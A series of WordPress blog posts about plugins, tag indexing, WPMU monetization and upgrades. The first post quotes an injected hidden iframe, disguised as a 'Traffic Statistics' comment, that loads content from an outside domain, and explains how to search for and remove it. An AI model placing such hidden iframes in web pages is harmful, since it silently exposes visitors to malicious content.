two of my old posts at my geekblog Haibane.info dating from November 2007 had some injected HTML code in them. The injected code read as follows:

<!-- Traffic Statistics --> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics -->

I only became aware of it when Google flagged my archives for that month as “malicious”. Viewing source of the archives page revealed the hack – probably from some window of time in which I hadnt upgraded to the latest wordpress version.

To ensure you don’t have old posts in your archives with this exploit, just search your posts for the term “iframe”. Edit those posts and you’ll likely as not find similar code to above.

WordPress has come a long way in making upgrades easier with one click (though some people still run into problems on occasion). I think it would be better is WP had a incremental and automated upgrade process whereby whenever a security-related update was available, you could have it automatically install, just like you can set in Windows. Ideally, this would be controlled by a setting in the Dashboard to “turn on/off automatic security patches” and when enabled, would “register” your blog with the mothership at wordpress.org so that whenever a security patch is available, you get an automatic email to your admin email account notifying you, and when you next login to Dashboard the patch is automatically applied.

Post from: meta BLOG

annoying html injection in wordpress

I’ve written a new plugin for wordpress entitled “AHP Tags to Hashtags” for use with WordPress and WordPress MU. The plugin can be found for now at pastebin here, I will update when it’s been added to the official wordpress plugin repository.

The plugin appends the tags for each post to the post title in the RSS feed. For example, for a post titled “Awesome post” which is tagged with “Amazing, Awesome, Super awesome”, the RSS feed will show the post titles as “Awesome post #Amazing #Awesome #Superawesome”. Note that spaces in a tag are removed, and hash symbols (#) are prepended to each.

This plugin is useful primarily to bloggers who pipe their posts into Twitter. The post tags become Twitter hashtags. Since post tags and twitter hashtags are both a form of metadata, it is natural to simply and automatically reuse the one for the other.

Consider a blog post on the Iran election. Normally youd tag the post Iran and then when you tweet it, youd have to manually insert the twitter hashtag #iranelection. Now, you can simply tag the post iranelection (no # symbol) and it will automatically be hashtagged. Combined with a service like Twitterfeed, this plugin can greatly automate the process of piping relevant posts into the twitterverse.

Note that the plugin makes no attempt to check that the total length of the post title, including hashtags, falls within the 140-character limit imposed by Twitter.

At present the plugin has no options. The feature roadmap includes the following:
- add title character length checking
- toggle using tags or categories for conversion to hashtags
- let user decide whether to remove spaces in tags, or convert to underlines or other character

this is a pretty simple plugin so other feature requests are appreciated.

UPDATE: version 2.0 of the plugin is at pastebin here. This version no longer appends all tags, but only those already beginning with #. This way the blogger can selectively choose which tags they want converted into hashtags.

Post from: meta BLOG

Tags to Hashtags

There’s a great conversation at WPMU.org about how to make money using WordPress MU – James starts by noting that advertising doesn’t cover the hosting costs for a massively successful site, and goes into the various other ways in which they derive revenue, including selling extra features to paid users and selling custom plugins (that are not released under the GPL). In response, Jason acknowledges that WPMU is inherently costly to run and agrees that there must be a revenue tsream, and then goes on to argue that WPMU is really a service, not a product. Therefore to make money with WPMU, he reasons, you must provide a value-added service relative to the big free hosts like wordpress.com – such as custom themes. James replies with a lengthy argument defending the decision not to release plugins under the GPL.

I don’t have much to add aside from noting that since themes have long been released without GPL, there’s no reason that plugins should be any different, especially with themes like Thesis which are “frameworks” that really blur the line between a theme and a plugin. The same can be argued for Prologue, which I use as the front end to my WPMU install at Talk Islam. The “core functions” of WP are never used in themes or plugins, so I don’t think that argument applies (think about it – why would you want to duplicate core WP functionality? why would you even need to?)

Of course, part of the problem for monetization is that you are a victim of your own succcess. James’ monthly costs for the Edublogs network are assuredly far greater than mine for Talk Islam – I can only aspire to a fraction of his success (especially since I am not running Talk Islam as a business. not yet anyway). As such Talk Islam has only a handful of user blogs – most of the activity is on the front page (where the Prologue theme gives it a dynamic, Twitter-esque feel). My goal for Talk Islam is to incorporate the Buddypress functions and ultimately create a framework for a “community platform” that would be in a sense the successor to the Daily Kos style blog community, replicating many of the features but discarding things that are broken in my opinion (such as the way the recommended diaries list is dominated by a clique of the same voices and the same topics, with very rare original and fresh perspectives). It should be noted that Shai Sachs, a very talented Drupal hacker, is working on a drupal-based blog infrastructure project for the progressive political blogsphere, but I personally believe that wordpress MU is a better platform. With Talk Islam as a prototype, we can envision a package that already includes the buddypress integration and standard theme for frontpage and user blogs that an aspiring admin could simply download and have ready to go out of the box.

The real question for monetization is the scale. How many WPMU installs are on the scale of Edublogs? Very few, I wager – but there are probably thousands like mine where the entire install can be run off a standard Dreamhost account. At that scale, Adsense ads can indeed cover hosting costs and even a modest profit on the side – not enough to pay rent, but maybe enough for cable television. Or a Starbucks addiction.

I think therefore a model for monetization presents itself. Instead of trying to monetize a single WPMU install, you monetize a packaged installation that you distribute. That installation can have Adsense code sharing so that half the revenue from ads goes to the package developer (or all if the installer doesn’t have an adsense account, there would be a box for them to paste their adsense publisher ID if they have one). For any given WPMU install the revenue will be quite modest, probably on the order of a few dollars a month. But suppose that the package was installed a hundred times? a thousand? Especially since it isn’t you who are paying the hosting fees, its the person installing the package.

Of course this means we have only punted the monetization issue downstream. But for a small WPMU site operator, recouping hosting costs is a lot easier than for a big operation like Edublogs. Users can be asked for donations, charged fees for extra features, etc just as James and Jason described in their posts. These revenue sources will be much more lucrative at the smaller scale.

As a business model, none of the above really helps James out, unfortunately But then again, what if individual schools ran their own WPMU microsites using Edublogs software? (actually, they do.) In a sense the strategy above can be leveraged regardless of your size. All things considered, I’d rather be in James’ position of being too big

Post from: meta BLOG

monetizing WPMU

My plugin, AHP Sitewide Recent Posts, is an entrant in the WPMU.org plugin competition. I would greatly appreciate your support! Please cast your vote here and vote for “Yet Another Posts Plugin“. Thank you!

Post from: meta BLOG

Please vote for my plugin

Building on the venerable Recent Posts plugin by Ron and Andrea, I have created an extended version that offers a lot more user control over output, including gravatar support. The basic features are:

• excludes posts on main blog (blog ID = 1)
• excludes first posts (Hello, world) on user blogs (post ID = 1)
• option to show gravatar support (24px). Gravatar links to posts by user on their blog.
• option to show post excerpt. User can specify excerpt length with extra argument. Option to capitalize 1st five words of excerpt for readability.
• option to show post author name
• option to show post date
• option to show post comment count
• all dispay options can be selectively toggled on or off using a single bitmask parameter, permitting very flexible and customizable usage (256 possible configurations!)
• numerous other display and formatting options can be easily edited in source code using global vars

The argument list:

• $how_many: how many recent posts are being displayed
• $how_long: time frame to choose recent posts from (in days)
• $optmask: bitmask for various display options (default: 255)
  • 1; // gravatar
  • 2; // date
  • 4; // author name
  • 8; // comment count
  • 16; // blog name
  • 32; // post name
  • 64; // post excerpt
  • 128; // excerpt capitalization
• $exc_size: size of excerpt in words (default: 30)
• $begin_wrap: start html code (default: <li class=”ahp_recent-posts”>)
• $end_wrap: end html code to adapt to different themes (default: </li>)

To use the bitmask option, simply add the numeric codes for the display options you want together. For example, suppose you only want gravatar, post name, and date – then the bitmask would be 1+2+32 = 35. Using a bitmask in this way, you can turn on or off any combination of display options above, using only a single function argument.

The latest version (0.6) of this plugin is at WPMUDEV with a more complete description, installation instructions, screenshot, and sample function call. You can see also see the plugin in action at Talk Islam, under the sidebar section titled “Recent Journals”.

screenshot of AHP Recent Posts plugin for WPMU

Post from: meta BLOG

AHP Sitewide Recent Posts plugin for WordPress MU

I just left the following ticket on WordPress Trac, as a feature request:

RSS feeds are already generated for posts and comments by default. What would be very helpful woudl be a dedicated RSS feed for comments in the moderation queue. This would permit efficient queue processing without having to log into the Dashboard.

For added functionality, each item in the RSS feed could have unique URL hash address links for approve, reject, and spam, so that moderating directly from the RSS feed could be possible from within the feedreading application. the RSS feed would need to be password protected or made visible to any user level that the admin desires to set.

(Trac Ticket #7452)

Post from: meta BLOG

RSS-based comment moderation?

Had another idea for a useful plugin – what is needed is a plugin that creates a tag cloud/tag list on a per author basis. This would be especially useful for group blogging sites (like Talk Islam). The plugin would ideally allow a simple function call with arguments:

- user name (login)
- number of tags (defaults to 5)
- list or cloud format (defaults to list)
- list delimiter (defaults to ” | “)

On a bio page or About page, this would be very cool because it would let you see at a glance what topics each author blogs about most.

Post from: meta BLOG

plugin wanted: Author Tags

I think tag clouds are somewhat useless, to be honest. They are a nice way to fill up a bit of space in a sidebar, if you restrict the cloud to the top 25 or so, but unless the writer is imposing a strict taxonomy on themselves, ultimately the size of the cloud will balloon to an unmanageable size. And a tag cloud in a folksonomy makes no sense, because the wide variation in tags is a feature, not a bug. You want the tags to be vast and redundant. It is ok to have a post about Jhumpa Lahiri’s latest novel tagged “book”, “books”, “review”, “Lahiri”, etc. because this increases the points of entry to the content from tag indexing services like technorati, and also increases the intra-blog, inter-post linkages (assuming you are using some variant of a Related Posts plugin that uses tags for determining what is related).

A far better way to think of tags is to consider them as terms in an index. The same kind of index you find at the end of a piece of non-fiction, to be specific. Consider an excerpt from the Index to the book, The Physics of Star Trek, as an example:

It’s easy to see how tags could be recruited to “build” an index of this type. The tags would first need to be sorted in alphabetical order, and then listed as a DL-type HTML list with the “page number” (post number). A range of posts coudl be indicated by the usual dash (ex. Bosons, 192-194) and a list of separate posts by commas (Black Star, 15, 51).

That would be the crudest implementation, but quite effective. However you could go further than this. For example, what about the “see also” link? You could simulate this by looking for tags whose usage is highly correlated, like “Lahiri” and “books”. You could literally calculate Pearson’s correlation coefficient between all pairs of tags in the database and store that in a lookup table, which woudl be updated whenever a post is published. Then any tag whose correlation coefficient to the present post is above some threshold (say, > 0.50) would get the “See also” treatment on both tags’ entries.

You coudl even draft categories in wordpress to contribute, by using them as “tags” in their own right and lumping them into the regular index build (after all, as implemented in WordPress, tags and categories are just redundant taxonomic systems). However, you also might look for correlations between tags and categories, and use the categories as Index parent terms. An example from my own geekblog would be something like

Anime
- Ranma
- Makoto Shinkai
- Someday’s Dreamers
(…)
Geek Service
- Asus EEE PC
- HDTV
- Space
(…)

I had to manually generate the above but it would be far simpler to do it via correlation analysis instead. At any rate, the basic idea is to assign categories as index headings and tags as their cdependents, since presumably categories are more formally taxonomic, and more importantly, fewer. In fact you could do both, treating categories as tags and also giving them higher status as above. You would just need to put a logical test in to exclude a category from appearing as its own parent/child!

Obviously a tag-driven index as above wouldn’t fit in a sidebar. A useful place for it would be its own page, but you might also imagine it embedded on the 404 page. As a standalone, though, it would be a very useful node for search engine optimization, enough so that perhaps it should be called a “tagdex” instead of an index to better distinguish it.

Though useful to any blogger using tags on wordpress, a tagdex would be far more effective on a site whose tags were a genuine folksonomy rather than a taxonomy, since the tag diversity would be greater. However, folksonomy is not a feature of WordPress, unless you use Scott’s awesome WP-Folksonomy plugin (which he wrote in response to my earlier rant about taxonomies and folksonomies). If a thriving ecosystem of wordpress-based folksonomies can be encouraged to thrive (using Scott’s plugin, or equivalent), that will be a significant step towards the Semantic Web. A tagdex represents a coherent snapshot of all the tag metadata in that site’s folksonomy (or taxonomy). As such, it is something that could be parsed and aggregated by the hypothetical Semantic Search Engine of the future.

Post from: meta BLOG

beyond the tag cloud: the tagdex

Thus far everything seems to be working smoothly. All my plugins are working fine that I can see (knock on wood). The new layout and aesthetics are quite clean and nice. I also like the widgetized Dashboard. I’ll just jump in start using it and see what my thoughts are after a week.

Post from: meta BLOG

upgraded to WordPress 2.5

Shamus announces an update to his wavatars plugin. However, as noted earlier, the pending release of WordPress 2.5 will likely break most avatar plugins due to its built-in avatar support. It think it makes more sense to wait for the post-upgrade version of wavatars for the time being; I still would like to see a way to define avatar libraries so that instead of two plugins, I could just select from a drop down of avatar styles (wavatars, monsters, etc).

Post from: meta BLOG

wavatars updated